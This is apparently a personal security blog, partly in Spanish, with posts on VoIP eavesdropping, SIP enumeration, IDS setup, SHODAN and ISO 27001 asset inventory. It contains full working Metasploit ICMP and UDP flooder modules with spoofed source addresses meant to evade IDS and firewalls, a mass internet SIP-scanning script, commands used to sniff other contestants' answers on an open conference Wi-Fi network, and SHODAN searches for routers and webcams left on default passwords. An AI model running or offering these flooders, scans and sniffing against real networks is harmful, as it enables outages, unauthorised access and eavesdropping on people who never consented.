Ni ceros ni unos ...

Scanning the world with Sipvicious

2012-02-11T18:40:00.000+01:00

Hi, I´m scanning a large number of ranges with Sipvicious ("svmap.py") and I would like to share some tips which helped me during the process:

- The use of sessions (-s) and reports ("svreport.py") is necessary to prevent mixing of obtained data.

- It´s a good idea to scan not only port 5060, you should add successive ports because some sysadmins configure their SIP services to run there (-p5060-5065).

- There is a well known "problem" about SIP and NAT, if you have installed an Asterisk you have heard about it sure :(, so we need to specify our external IP address to Sipvicious with (-x) parameter. Moreover port 5060(Sipvicious outcoming port) has to be forwarded to host which is scanning, in case that you were scanning with more than one instance at the same time successive ports should be forwarded too. I usually put the host int the DMZ trying to avoid these problems.

- "svreport.py" tries to make a DNS lookup with the discovered IPs but it takes too much time in case of too many hosts so we can disable it (-n).

- Normally, some hosts aren't recognized and marked as "unknown", you could run tcpdump in order to capture the responses and avoid the loss of information.

- I wrote that dirty bash script which reflects exposed ideas:

Code:
-----------------------------------------

#!/bin/bash
# It scans ranges from a text file with sipvicious
# Use: ./scanRange.sh

SVMAP="/home/baguira/Installed/sipvicious/svmap.py"
SVREPORT="/home/baguira/Installed/sipvicious/svreport.py"

# just in case "unknown" devices
sudo tcpdump udp and dst host 192.168.9.5 -s 65535 -w capture1.pcap & 
# scan all ranges
for RANGE in $(cat ranges1.txt)
do
 RNAME=$(echo $RANGE | awk -F / '{print $1}')
 EXTIP=$(curl -s icanhazip.com)
 $SVMAP -p5060-5065 -s $RNAME -x $EXTIP --randomize $RANGE
 NEXTIP=$(curl -s icanhazip.com)
 # external ip change check
 if [ "$EXTIP" != "$NEXTIP" ]
 then
  # wait until router finish reboot
  sleep 180
  $SVREPORT delete -s $RNAME
  EXTIP=$(curl -s icanhazip.com)
  $SVMAP -p5060-5065 -s $RNAME -x $EXTIP --randomize $RANGE
 fi  
 $SVREPORT export -s $RNAME -f txt -o $RNAME.txt -n
done
sudo killall tcpdump > /dev/null

-----------------------------------------

To sum up I would like to thank Sandro Gauci (Sipvicious developer) for the software and for being really nice whith my doubts. Thank you man! ;)

Another simple Metasploit module: ICMP Flooder

2012-01-15T20:13:00.001+01:00

Hi again!, I said I was going to develope VoIP related Metasploit modules but I was reading PacketFu documentation and I found that wrinting an ICMP flooder couldn´t be too complicated at this point. So I share this code too, I decided to include SHOST and SIZE options too trying to get a more flexible module able to make different flavors of this attack as Ping flood, Smurf or Ping of death. Next pictures show the module in the same way of last post.

Code:

-------------------------------------------------------------------------

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Dos

include Msf::Exploit::Capture


 def initialize
  super(
    'Name'   => 'ICMP Flooder',
    'Description' => 'A simple ICMP flooder',
    'Author'  => 'Jesus Perez',
    'License'      => MSF_LICENSE,
    'Version'  => '$Revision: 0 $'
  )

  register_options(
  [
   OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),
   OptInt.new('NUM', [false, 'Number of ping packets to send (else unlimited)']),
   OptInt.new('SIZE', [false, 'Size of ICMP packets to send (else 256 bytes)'])
  ], self.class)
  deregister_options('FILTER','PCAPFILE','SNAPLEN')
 end

 def srchost
  datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')
 end

 def size
  datastore['SIZE'].to_i.zero? ? 256 : datastore['SIZE'].to_i
 end

 def run
  open_pcap

  sent = 0
  num = datastore['NUM']

  print_status("ICMP flooding #{rhost}...")

  p = PacketFu::ICMPPacket.new
  p.icmp_type = 8
  p.icmp_code = 0
  p.ip_daddr = rhost

  while (num <= 0) or (sent < num)
   p.ip_saddr = srchost
   p.payload = rand(36**size).to_s(36)
   p.recalc
   capture_sendto(p,rhost)
   sent += 1
  end

  close_pcap
 end
end

-------------------------------------------------------------------------

Figure: Usage information

Figure: Sniffed packets

Jesús Pérez

My first Metasploit module: UDP Flooder

2012-01-15T18:42:00.000+01:00

There are very few Metasploit modules, neither Auxiliaries nor Exploits, VoIP related so I have in mind to write some of them in my free time. Today I want to share a UDP flooder Aux. module, which is very simple but perfect for learning, UDPFlooder is one of the many tools covered in "Hacioking VoIP Exposed" book, considered a reference in this field.

Code:

-------------------------------------------------------------------------

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Dos

include Msf::Exploit::Capture


 def initialize
  super(
    'Name'   => 'UDP Flooder',
    'Description' => 'A simple UDP flooder',
    'Author'  => 'Jesus Perez',
    'License'      => MSF_LICENSE,
    'Version'  => '$Revision: 0 $'

)

register_options(

  [
   Opt::RPORT(5060),
   OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),
   OptInt.new('SPORT', [false, 'The source port (else randomizes)']),
   OptInt.new('NUM', [false, 'Number of UDP packets to send (else unlimited)']),
   OptInt.new('SIZE', [false, 'Size of UDP packets to send (else 256 bytes)'])
  ], self.class)
  deregister_options('FILTER','PCAPFILE','SNAPLEN')
 end

 def sport
  datastore['SPORT'].to_i.zero? ? rand(65535)+1 : datastore['SPORT'].to_i
 end

 def rport
  datastore['RPORT'].to_i
 end

 def srchost
  datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')
 end
 
 def size
  datastore['SIZE'].to_i.zero? ? 256 : datastore['SIZE'].to_i
 end

 def run
  open_pcap

  sent = 0
  num = datastore['NUM']

  print_status("UDP flooding #{rhost}:#{rport}...")

  p = PacketFu::UDPPacket.new

p.ip_daddr = rhost
  p.udp_dport = rport
  
  while (num <= 0) or (sent < num)
   p.ip_ttl = rand(128)+128
   p.ip_saddr = srchost
   p.udp_sport = sport
   p.payload = rand(36**size).to_s(36)
   p.recalc
   capture_sendto(p,rhost)
   sent += 1
  end

  close_pcap
 end
end

--------------------------------------------------------------------------

Most of the code is taken from Metasploit TCP SYN Flooder module but I made some more changes besides adapting it to UDP. The same way TTL is changed in each packet, I prefer to change the source (spoofed) address too because of the same reason (IDS/Firewall evasion). Moreover, in this case something to send is needed so I added the new option SIZE which determines the lenght of this random string. Another different thing you could apprecciate is that option SNAPLEN is unregistered too because of having no sense in this module.

Figure: Usage information

Finally, in order to test if module works fine I´m going to sniff the interface and see, with help of Wireshark, what it´s really happening. Next picture shows that everything seems to be working as defined in the description of the attack. :)

Figures: Sniffed packets

Jesús Pérez

Some posts on Flu-Project blog

2011-11-22T12:45:00.001+01:00

I recently wrote two posts (in Spanish) on Flu-Project blog about my recent experience in Hackmeeting 2011 (MeigHacks) and some of the issues I treated during my lecture, including W3af and SQLMap. These are the links:

- De paso por el Hackmeeting 2011
- Badstore, SQLi y otras chicas del montón

Jesús Pérez

VoIP Information Gathering: Metasploit

2011-09-14T10:51:00.002+02:00

Information gathering is the stage of a penetration test when the attacker tries to collect as much information as possible about the target. This step is normally composed for footprinting and fingerprinting but, in the case of VoIP systems, we should add extension enumeration to the list. During this last step attacker will attempt to obtain valid extensions/users of the target system.

Footprinting & Fingerprinting

My favourite tools for these jobs are FOCA and Nmap, it´s a bit strange combination but it fits for me :). FOCA automates almost all the “dirty job” and it is the best with public documents metadata, while Nmap flexibility let me confirm manually all these discovered stuff. Moreover, in the case of SIP Protocol, FOCA also is able to obtain more information from target DNS SRV records, they work in a similar way during a call that MX ones for mailing. Next picture taken from the blog of its “father” shows an example of them.

Figure: Adobe SRV records

NOTE: FOCA it is not GPL, it´s only free as in free beer but, in my opinion, there is no replacement for the moment.

There are some other specific tools for VoIP which complement classic ones discussed above. I´m going to focus on Metasploit modules because Sipvicious set of tools, which is the most used for this tasks and works in a very similar way, is a lot of documented over the net. These VoIP specific scans reduce strongly the time in comparison of nmap because they send specific SIP request UDP packets instead of ICMP ones. In this post we can find a complete explanation of that and here is exposed how nmap UDP scan works. You can compare it (nmap -sU -p 5060 -sV TARGET) and check that the speed difference is really huge. One important advantage of Metasploit over Sipvicious is the support of threading which could speed up still more the process.

So, at this point, we are ready to start scanning a testing environment formed by an Ubuntu 11.04 laptop hosting two virtual machines, connected in NAT mode:
- Backtrack 5 R1 box simulating bad guy.
- Debian Squeeze box with a basic installation of Asterisk 1.6.2.9-2 and only 101 and 102 extensions allowed.

There are not too much Metasploit modules involving VoIP but we already have auxiliaries needed for SIP scanning and extension enumeration as showed in the picture:

Figure: Metasploit SIP related modules

Now, I´m going to use Armitage (sorry guys, I like GUIs :P) in order to scan my network using "SIP scan (UDP)" (auxiliary/scanner/sip/options) module. It supports only OPTIONS scanning but it is enough for being the most realiable type. In fact, INVITE scan could be noisy and produce a "ring” at the other end. If you are interested in all these subjects and how they work more in depth I recommend you (as always) “VoIP Haking Exposed” book.

You only have to specify the target for configure the module, next images show the steps and the correct result.

Figure: Module configuration

Figure: Scan result

Extension enumeration

Instead of explaining how this attack works in a theorethical way (diagrams and all this stuff) I´m going to refer you to the book and show a situation which helps to understand because user/extension enumeration is possible. Firstly I will try to connect my Ekiga softphone to Asterisk server with a non existent user:

Figure: Bad user account configuration

Figure: Bad login result

Ok, Asterisk didn´t allow the connection, now we are going to try with an existent user and bad password:

Figure: Correct user and bad password configuration

Figure: “Not bad” login result

The response is different in both cases so, as you can imagine at this point, we could easily identify different extensions. In order to automate this attack we can use “SIP Username Enumerator (UDP)” module (scanner/sip/enumerator) which supports REGISTER and OPTIONS scan (METHOD module parameter). Really it is a Brute-force attack trying specified extensions, so it is very important to specify PADLEN argument, if not, you could obtain a very long list of non-existent extensions. In my case I choose PADLEN equal to 3 because extensions are 101 and 102, I also modifed MAXENT to fit with it.

Figure: Enumerator module configuration

Figure: REGISTER extension enumeration result

Figure: OPTIONS extension enumeration result

As you can see I got different results, on one side OPTIONS scan identified extensions 500 (Asterisk demo) and 600 (echo demo) and REGISTER scan got real extensions on the other. So it would be necessary to use both types during a pentest process.

At this moment Metasploit does not support Asterisk Exchange protocol (this is also part of VoIP protocols as SIP) scan. We have enumIAX and iaxscan classic tools, but we are only focus in SIP protocol at this time.

Information gathering coutermeasurements is a very interesting subject but I think it is enough for today, typical solutions are Fail2ban combined with Iptables and other specific tools for each type of VoIP system.

Jesús Pérez

VoIP Eavesdropping: Counter Measurements

2011-08-26T12:17:00.002+02:00

As we seen in two last posts SIP(Sesion Initiation Protocol) is a protocol easily sniffeable because of being transmitted unencrypted over the net. There are some solutions which solve this, but they are not definitive. Next picture show a very basic diagram of one VoIP infrastructure which I will use along this post, at this point we should understand SIP is used for creating, modifying and terminating sessions and this sessions are formed for one or several media streams and they occurs between clients, leaving SIP Proxy aside.

Figure: Basic VoIP network infrastructure

Mainly we have two options in order to avoid Eavesdropping attacks: encryption or network separation.

Network separation

It´s too difficult to own necessary resources to separate physically VoIP network of organization data network. The common solution is to use managed switches and setup different VLANs (Virtual Private Networks).

But this is only applicable inside your LAN and there are a lot of techniques for evading this kind of switches control which allow the attacker hop between different VLANs, we can find them with a simple search on Google:
http://www.google.es/search?sourceid=chrome&ie=UTF-8&q=vlan+hop
In fact, software used in previous posts supports it for some Cisco routers as showed in the picture:

Figure: UCSniff VLAN hop

Encryption

In this case we have some options too:

- VPN(Virtual Private Network): As you can see in the figure it is possible to cypher communications between different VoIP terminals of your system using a VPN, if all traffic is encrypted both SIP and RTP are also protected. This solution defends us from Internet sniffers but not inside the organization, this is the reason because a dedicated VLAN is also recommended in order to minimize data exposure.

Figure: VPN example

- Built encryption: Some proprietary software as Skype uses its own cipher protocol, only understandable for Skype clients. Traffic is encrypted and protocol relies on a P2P network formed for clients and nodes, but this architecture is too complex for resume it in a few words, so I recommend the lecture of these papers:
http://www.linecity.de/INFOTECH_ACS_SS05/acs5_top1_paper.pdf
http://www.mjalali.com/blog/?p=10
Anyway, I wouldn’t use it if I want a real secure communication because i can´t be sure if my conversation is not being transmitted using another Skype user computer(maybe a bad guy one).

- “Standards” SRTP & ZRTP: SRTP(Secure Real Time Transport Protocol) cyphers RTP traffic to provide encryption, message authentication and integrity and replay protection. It depends of an external key management protocol to set up the initial master key, there are some other protocols to do this task: MIKEY, ZRTP(Media Path Key Agreement for Unicast Secure RTP) and SDES which seems to become de facto standard, principally for being an extremely simple technique. Basically, in this method keys are transported in a SIP message (SDP attachment) and ciphered using TLS(Transport Layer Security), you can imagine it if you think in HTTPS protocol. Also it could be possible to use other methods to implement this last funcionality like S/MIME but they are not too much widespread.

Figure: TLS example

On the other hand, ZRTP was developed as part of Zfone Project and its most important advantage is the only able to provide end-to-end encryption. Even SIP/TLS does not provide it because being the IP PBX a trusted third party which could be able to eavesdrop the conversation. Other benefits of this protocol:
- It uses a public key algorithm avoiding PKI(Public Key Infrastructure) complexity.
- It allows the detection of man-in-the-middle (MiTM) attacks, as commented before.
- It supports opportunistic encryption asking the other VoIP client if supports ZRTP before starting a call.

Figure: Detailed SRTP generic communication

NOTE: Eavesdropping through ZRTP protocol seems extremely difficult, but not impossible. To do this, an attacker would have to be present since the first call, be able to fake verbal SAS in real time and, preferably, to imitate voices. (Detailed explanation here)

They are not exactly standards but they are the most used option, in fact, SRTP(RFC4585) and MIKEY (RFC4738) are “Proposed standard” and ZRTP is an “Informational standard”. It was developed by Phil Zimmermann (among others) and published by IETF recently as RFC 6189.

Ok, this is a real mess of protocols, but now, what hardware and software solution would I get? You should choose what level of risk you want to assume, and then select software that supports it, I think this comparative list can help you:
http://en.wikipedia.org/wiki/Comparison_of_VoIP_software

Figure: Ekiga client

To sum up I should to say I know this was a bored(sorry for that) theoretical post, but I found a lot of confusion in too many sites and forums among this group of protocols and what they can do for us, so I decided deep in and document it. From now I will come back to work on proofs of concept which are much more funny to test, write and read :)

Jesús Pérez

VoIP Eavesdropping: UCSniff (II)

2011-08-17T22:05:00.003+02:00

VoIP Eavesdropping: UCSniff (I)

To start this second article I'll dig a little deeper in VoIP Eavesdropping techniques. There are different classifications over the net but I´m going to use "Hacking Exposed VoIP" book (I strongly recommend it) one for being , in my opinion, the most complete. According to it we define four categories for these attacks:

TFTP Configuration File Sniffing
IP phones often obtain their configuration parameters from a TFTP server, you can get an idea imagining something similar to DHCP Protocol, but in application layer of course. In this case attacker could obtain some passwords sniffing or downloading them directly from ftp server, moreover he could even reconfigure phone. In fact I have a fun idea in mind for another POC but we are waiting for someone to lend us a proper phone :).

Number Harvesting
Attacker monitors all calls in order to obtain legitimate numbers and extensions of a system which will be used combined with other attacks.

Call Pattern Tracking
The attack target is the list with all the calls made by a member of an organization in order to detect suspicious activities among the members.

Conversation Eavesdropping and Analysis
This is the most impressive attack because the bad guy try to record both sides of conversations.

That being said, now I´m going to show UCSniff automates the attacks studying results obtained from last post. Next picture shows files generated after the sniffing.

Figure: Generated files

TFTP Configuration File Sniffing
As I said before I do not have a proper phone for this test, but UCSniff supports it, even TFTP Modify Attack (cursiva) as you can see in the picture.

Figure: TFTP Modify Attack

Number Harvesting
During the sniffing we could see extensions involved in calls on the Output and Status(cursiva) panel. Now we can consult them in call.log, calldetail.log and sip.log , which also stores it with much more detailed log including all SIP messages (REGISTER, INVITE, etc.)

Figure: Detailed call list

Figure: INVITE from sip.log

Call Pattern Tracking
Files commented in Number Harvesting cover this point too.

Conversation Eavesdropping and Analysis
In this example 81-Calling-81-18:48:12-3-reverse.wav stores one side conversation for the reasons commented in previous post, but in a real environment we should get something like this:

Figure: Generated .wavs in real example

Names are really intuitive so, at this point, I think you can understand by yourself all the helpfull information included in other generated files, you can ask me any doubt in a comment or a mail :). In the next post I hope talk about countermesurements porposed for protect a infrastruture against this kind of Eavesdropping attack.

Jesús Pérez

VoIP Eavesdropping: UCSniff (I)

2011-08-05T16:30:00.065+02:00

After a long time without writing because of different reasons I´m going to begin a group of articles trying to cover different type of attacks against any of the components of a common VoIP (Voice Over Internet Protocol) infrastructure and how to stop them. If you are beginning in this world of VoIP I recommend you to read Building Telephony Systems with OpenSIPS 1.6 where the authors go through basic theoretical and practical skills needed to implement a complete system.

This time, I will start with VoIP Eavesdropping attack, as the name suggest it consists on listen a conversation without speakers consent. This attack existed in the traditional telephony systems and nowadays is also possible against VoIP ones (and other protocols too, in example bluetooth).

As you can imagine we are in front of a classic sniffing attack so, first of all, we need to gain access. Any of the techniques you know are ok, moreover, there are another specific ways for this kind of systems of getting the .pcap file we are looking for. For example, some phones have a "feature" which allows saving a .pcap with all traffic passing over its interfaces and more of them have vulnerabilities in their web control panel, so it could be possible to access to this profitable file :). But this is not the topic of this article despite of being an interesting one too, so I hope take it up again another day.

Now we have the capture, then we need a tool able to understand SIP (Session Initiation Protocol) and RTP (Real-time Transport Protocol), among others. The most used option is Whireshark, but it doesn´t support H.264 video codec so we can´t eavesdrop video conversations, in this case we should call it IP Video Eavesdropping not VoIP Eavesdropping. I found this video where we can see an example of this:

Video: Conversation Eavesdropping with Wireshark

I like Wireshark for studying specific situations but, anyway, we need something more automatic for pentesting tests in order to be capable of reconstruct and synchronize conversations correctly. I usually use Xplico for this kind of things but, for the moment, SIP, SDP and RTP protocol are not fully supported as we can see in the website:

Figure: Xplico supported protocols state

Today we will use UCSniff, a tool which allows to rapidly test for the threat of unauthorized VoIP and Video Eavesdropping. I paste here some features:

- Audio Eavesdropping

- Video Eavesdropping (creates H.264 format file)

- Realtime Audio Monitor

- GUI Support

- Realtime Video Monitor

- Creates an avi file and muxes audio and video

- Creates a wav file and muxes both forward and reverse audio

For this POC (Proof Of Concept) I will use two virtual machines, one with BT (Backtrack) 5 and Zoiper Classic as client (I had problems running Ekiga on BT5) and another with a Debian Squeeze with a basic installation of Asterisk. It is not a very real environment but it´s enough for this POC, so we don´t need to do MitM (Main in the Middle). I’m sure if you are reading this you know how to gain access with you favorite sniffer or UCSniff ;).

OK, first we need to download the latest version of UCSniff (here) and to install dependencies to compile it on BT5 with GUI (Graphical User Interface) and realtime video monitor:

apt-get install build-essential zlib1g-dev liblzo2-dev libpcap0.8-dev libnet1-dev libasound2-dev libbz2-dev libncurses5-dev apt-get install libx11-dev libxext-dev libfreetype6-dev

NOTE: VLC version and development libraries included in BT5 broke the compilation, so we have to install it directly from VLC repositories before:

add-apt-repository ppa:lucid-bleed/ppa

apt-get update

apt-get install vlc libvlc-dev

Now, go in ucsniff-3.0 folder and compile it:

./configure --enable-libvlc --enable-gui

make

make install

We are ready for run it (graphical interface) for the first time:

ucsniff -G

Figure: UCSniff general view

Yes, it´s not too sexy, above all these evil buttons! xD. For this test we have to select Monitor Mode and Start Sniffing like in the picture and the sniffer will start to capture. Next step is making a call, I will call myself (yes, it´s possible! you should try it :D).

Figure: Calling myself

After accepting the incoming Output Console will log it as in the next two pictures (second took after hang up from one side).

Figure: Logging calls

Well done!, we can see the conversation was captured, there are two calls instead of only one because of virtual machine interface really is mapped to another, but it works, one of this two .wav will be empty and the other will contain saved conversation. I think it´s enough for the first day. Next article we will review all the outputs produced by the sniffer and we are going to deep a bit more in this attack. At the moment, I recommend you visiting the site of the tool where you can learn more about it and view examples using the GUI with MitM and Video Eavesdropping: http://ucsniff.sourceforge.net/guiusage.html

Figure: UCSniff Video Eavesdropping

Jesús Pérez

¿Por qué utilizar un IDS?: Un caso real con Snort

2011-03-02T13:08:00.009+01:00

En un artículo anterior expliqué como instalar de forma sencilla un sistema de detección de intrusos (IDS), más concretamente Snort con la interfaz Snorby. Hoy voy a mostrar la potencia de este tipo de aplicaciones a través de un ejemplo que me encontré en mi trabajo como consultor.
Para situarnos un poco imaginemos una PYME sin ningún responsable del área de sistemas, como muchas en España. Cuando llegas tardas un tiempo en conocer el funcionamiento de todo el sistema (ya que no hay una persona a quien consultarle las dudas) y un IDS ayuda mucho en esta tarea detectando anomalías en el tráfico de red de la organización.

En la primera imagen (vista del último año) se observa que al principio se detectaron mas de 70 incidencias clasificadas como graves y muchísimas leves, las medias las provoqué yo probando con el nmap. Ésto me llevó a investigar un poco más y resultó que el antivirus no escaneaba (o no lo hacía bien del todo) un tipo de ficheros específico de una aplicación y ahí se escondía el archifamoso gusano Conficker en algunos de los equipos. Podemos ver en la gráfica anterior que tras la eliminación del virus se redujeron drásticamente las alertas hasta llegar a la situación actual de la siguiente imagen (vista del último mes).
NOTA: Es importante revisar también las de severidad baja aunque siempre se tratan de falsos positivos.

Lo que quiero destacar es que nos ayudó a detectar un problema que no sabíamos que existía como lo puede hacer con muchos otros. Otra ventaja de su uso es que ayuda a conocer un poco más sobre el funcionamiento de la red de la organización. :)

Jesús Pérez

El que roba a un landrón ... : h4ckc0nt3st GSIC

2011-02-28T13:19:00.027+01:00

ACTUALIZACIÓN: Veo en el twitter que no fuimos los únicos :)

El Jueves llegamos tarde a la fic comentando que seguro que ya era tarde para apuntarnos al h4ck0nt3st de las GSIC, pero cuando entramos en la sala estaba empezando Rubén Santamarta y no todos los días tenemos el placer de poder escuchar a alguien que hace "lo que él hace", así que decidimos aplazar lo de la inscripción.
Cuando conseguimos empezar a jugar vimos que alguno ya llevaban 6 o 7 respuestas y tras solucionar los primeros retos que eran facilitos vimos que no iba a haber manera de coger a los que iban en cabeza por lo que nos fuimos a comer con tranquilidad.
Por el camino se nos ocurrió que "esnifando" todos los paquetes de la red inalámbrica (abierta) seríamos capaces de capturar las respuestas del resto de participantes, ya que la aplicación que se utilizaba en el h4ckc0nt3st no cifraba la comunicación. De esta manera iríamos guardando las respuestas y las rellenaríamos poco a poco para que no fuera demasiado descarado.
Tras la comida volvimos a la facultad y hubo suerte, había gente peleándose con las pruebas:
- Primero pusimos la tarjeta en modo monitor:
airmon-ng start wlan0
- Capturamos todo lo de el canal y el BSSID del h4ckc0nt3st:
airodump-ng --bssid X --channel 13 -w capture mon0
- Como teníamos prisa porque nos empezaba el taller de Alejandro Ramos, el cual recomendamos a todo el mundo, en vez de utilizar el Wireshark probamos con el comandostrings y un simple grep y vimos que esto iba a funcionar:
strings capture-01.cap | grep clave

Nos encontramos algunos problemas:

- Obteníamos también las respuestas erróneas y probarlas todas sería muy ruidoso, así que lo solucionamos afinando un poco el filtrado y listo:
strings capture-01.cap | grep -i -C500 superado | grep clave=

El viernes por la mañana se publicó un certificado para cifrar la aplicación y se nos acabó el juego. :(
Aunque no conseguimos quedar segundos que era el objetivo, siempre es divertido un poco de hacking, y más durante estos eventos.
Gracias a la organización por permitirnos pasar unos días así sin salir de A Coruña y ahora a esperar al Rooted CON'2011. :D

Carlos López

Jesús Pérez

Snort "for dummies": Insta-Snort

2011-01-15T16:31:00.024+01:00

Hoy voy a hablar de Snorby, no me centraré en los sistemas de detección de intrusos (IDS), ni en Snort porque hay muchísima documentación al respecto. Snorby es un "fronted" para el IDS Snort, sus creadores tienen el objetivo de conseguir una herramienta altamente competitiva para la monitorización de redes tanto en entornos privados como empresariales.

Llevaba tiempo siguiendo el proyecto desde las versiones iniciales buscando algo similar al IDS Policy manager (sistemas Windows) para entornos Linux. Con la llegada de la versión 2.0 parece, bajo mi punto de vista, que comienza a estar preparado para su uso en entornos de producción. Aunque de momento no dispone de muchas de las funcionalidades del IDS Policy Manager, nos ofrece otras ventajas y es mucho más bonito :). Podemos probar una demo en la siguiente dirección: http://demo.snorby.org/users/login

NOTA: demo@snorby.org/snorby

De las opciones que tenemos para la instalación prefiero Insta-Snort, ya que es una distribución basada enTurnKey Linux muy sencilla de instalar y que provee de todo lo necesario para que podamos disponer un sistema Snort+Barnyard2 funcionando con una interfaz gráfica muy usable y para. De esta forma podemos estudiar la información que proporcionan los sensores de una forma cómoda y ordenada.

La instalación no supone ninguna complicación, comentar simplemente que es recomendable obtener un código Oink para actualizar las reglas de Snort (registro). De forma opcional, podemos utilizar la nueva funcionalidad que permite analizar capturas de paquetes con formato .pcap, para ello debemos registrarnos en el proyecto OpenFPC. Si necesitamos que snort escuche por otra interfaz que no sea eth0 debemos seguir este manual.

Para acceder a la interfaz gráfica nos conectamos al servidor web de la máquina y utilizamos los datos del usuario administrador por defecto, es más que aconsejable crear otro administrador y eliminar éste una vez logueados.

NOTA: snorby@snorby.org/snorby

Listo, en pocos pasos ya podemos disfrutar de nuestro IDS, en la imagen se ven varias alertas porque fue tomada unos días después de realizar la instalación, para comprobar su funcionamiento vamos a realizar un escaneo de puertos con el nmap a ver si lo detecta. En esta ocasión voy a ponérselo fácil, en otras realizaré pruebas mas complejas a ver como responde.

nmap -F 192.168.0.X

Jesús Pérez

Jugando con SHODAN

2010-07-20T13:13:00.009+02:00

Ayer estuvimos jugando un poco con SHODAN y me parece interesante dejar aquí plasmados algunos resultados bastante curiosos de las pruebas que fuimos haciendo. Para empezar, ¿qué es SHODAN? Es un buscador, para dar una explicación rápida diremos que en vez de buscar por contenidos como hace Google busca máquinas(servidores, routers, etc) que ejecuten el software que le especifiquemos, además permite filtrar los resultados por otros parámetros como países, puertos o versiones, en este pdf lo explican con más detalle. Un buen punto de partida para familiarizarse con esta aplicación web son las búsquedas populares, entre las que podemos encontrar algunas con resultados muy sorprendentes.

Después de un rato trasteando se nos ocurrió buscar routers, ya que con esta lista de contraseñas por defecto(o otra de las muchas que hay por ahí) para cada modelo y un poco de scripting se podrían hacer maravillas. A continuación dejo algunos ejemplos de búsquedas por modelo de router:

http://www.shodanhq.com/?q=DWL-G700AP

http://www.shodanhq.com/?q=rt314

http://www.shodanhq.com/?q=wg602

...

Como podíamos pensar en un principio lo del scripting para probar por fuerza bruta no es necesario ya que hay demasiados con la configuración por defecto:

Hasta aquí vemos que son routers como podrían ser los de nuestra casa, la configuración por defecto puede ser por distintos motivos que pueden ir desde simples tormentas hasta que alguien lo reinició como le aconsejaron en el soporte de su ISP y no lo volvió a securizar por desconocimiento, por vagancia, por prisa... Por experiencia como clientes de más de un ISP no es extraño encontrarse que los técnicos que hacen la instalación en casas la dejen así por los mismos motivos.

Pero nos encontramos que incluso routers para cosas "más serias" supuestamente dentro de una empresa(la gente no suele tener de esos en su casa) están accesibles sin pedir ni usuario ni contraseña. Imaginemos por un momento que a alguien se le ocurriera instalar un sniffer en este router CISCO como se explica en éste artículo, podría capturar todo lo que pasase por cualquiera de las interfaces del router. Viendo las pocas molestias que se toman en cambiar las contraseñas y con todo lo que permite hacer un router de este tipo(crear VPNs por ejemplo) mejor no pensar en lo que se podría hacer desde aquí.

Por si todo esto resultase poco sorprendente pensamos que pasaría con los sistemas de video-vigilancia, ¿estarían también expuestos con contraseñas por defecto? Pues parece que más de lo mismo, probamos con sencillas búsquedas como las siguientes:

http://www.shodanhq.com/?q=webcam

http://www.shodanhq.com/?q=video%2Bweb%2Bserver

Y vemos que obtenemos multitud de resultados, las contraseñas por defecto de estos sistemas son un poco más difíciles de encontrar y no se si hay alguna lista parecida a la de antes pero en los manuales del producto o sitios como foros de los propios fabricantes no lleva mucho tiempo.

Eso de que nos puedan estar grabando(tanto en el trabajo como en tu propia casa) y retransmitiendo por internet "casi" en abierto no creo que le haga mucha gracia a nadie, sin comentarios...

Carlos López

Jesús Pérez

ISO 27001: Inventario de los activos de información

2010-06-01T18:40:00.013+02:00

Uno de los primeros pasos que debe seguir la entidad para adaptarse a la norma ISO 27001 es realizar el inventario de activos que contendrá todos aquellos activos de información que tienen algún valor para la organización y que quedan dentro del alcance del SGSI. En un principio puede parecer un poco abrumador para un principiante(como yo) por la enorme cantidad de activos que se te van ocurriendo por eso decidí empezar por clasificarlos de alguna forma, de entre las múltiples maneras que me encontré elijo la definida por los expertos del foro ISO27k ya que me parece la más completa, mostrando ejemplos de cada tipo y es válida para entidades de muy distinta naturaleza. Éste podría ser un buen punto para comenzar siempre teniendo en cuenta lo que nos aconsejan también en ese foro:

"Debido a que los activos son algo cambiante, incluso si pudieras cubrir absolutamente todo lo que hay hoy, mañana la situación sería un poco diferente y más en unas semanas, meses o años. Así que es perfectamente aceptable seguir con un inventario "suficientemente bueno por ahora", siempre incluyendo en el SGSI la revisión y actualización de procesos como parte de la mejora continua"

Traducción del artículo:

ACTIVOS DE INFORMACIÓN PURA

- Datos digitales: Personales, financieros, legales, de investigación y desarrollo, estratégicos y comerciales, correo electrónico, contestadores automáticos, bases de datos, unidades lógicas(particiones) privadas y compartidas, copias de seguridad(cintas, CDs, DVDs), claves de cifrado.

- Activos tangibles: Personales, financieros, legales, de investigación y desarrollo, estratégicos y comerciales, correo tradicional/electrónico, FAXs, microficheros y otros materiales de copia de seguridad/archivo, llaves de oficinas/cajas fuertes y otros medios de almacenamiento, libros, revistas, periódicos.

- Activos intangibles: Conocimiento, relaciones y secretos comerciales, licencias, patentes, experiencia, conocimientos técnicos, imagen corporativa/marca/reputación comercial/confianza de los clientes, ventaja competitiva, ética, productividad.

- Software de aplicación: propietario desarrollado por la empresa, de cliente(compartido y aplicaciones de escritorio), COTS, de planificación de recursos empresariales(ERP), de gestión de la información(MIS), utilidades y herramientas de bases de datos, aplicaciones de comercio electrónico, middleware.

- Sistemas operativos: Para los servidores, ordenadores de sobremesa, ordenadores centrales, dispositivos de red, dispositivos de mano e incrustados (incluyendo la BIOS y el firmware).

ACTIVOS FÍSICOS

- Infraestructura de TI: Edificios, centros de datos, habitaciones de equipos y servidores, armarios de red/cableado, oficinas, escritorios/cajones/archivadores, salas de almacenamiento de medios físicos y cajas de seguridad, dispositivos de identificación y autentificación/control acceso del personal (tornos, tarjetas, etc) y otros dispositivos de seguridad (circuito cerrado de televisión(CCTV), etc.)

- Controles del entorno de TI: Equipos de alarma/supresión contra incendio, sistemas de alimentación ininterrumpida (SAI), alimentación de potencia y de red, acondicionadores/filtros/supresores de potencia, deshumificadores/refrigeradores/alarmas de aire, alarmas de agua.

- Hardware de TI: Dispositivos de almacenamiento y cómputo como ordenadores de sobremesa, estaciones de trabajo, portátiles, equipos de mano, servidores, mainframes, módems, líneas de terminación de red, dispositivos de comunicaciones (nodos de la red), impresoras/fotocopiadoras/faxes y equipos multifunción.

ACTIVOS DE SERVICIOS DE TI

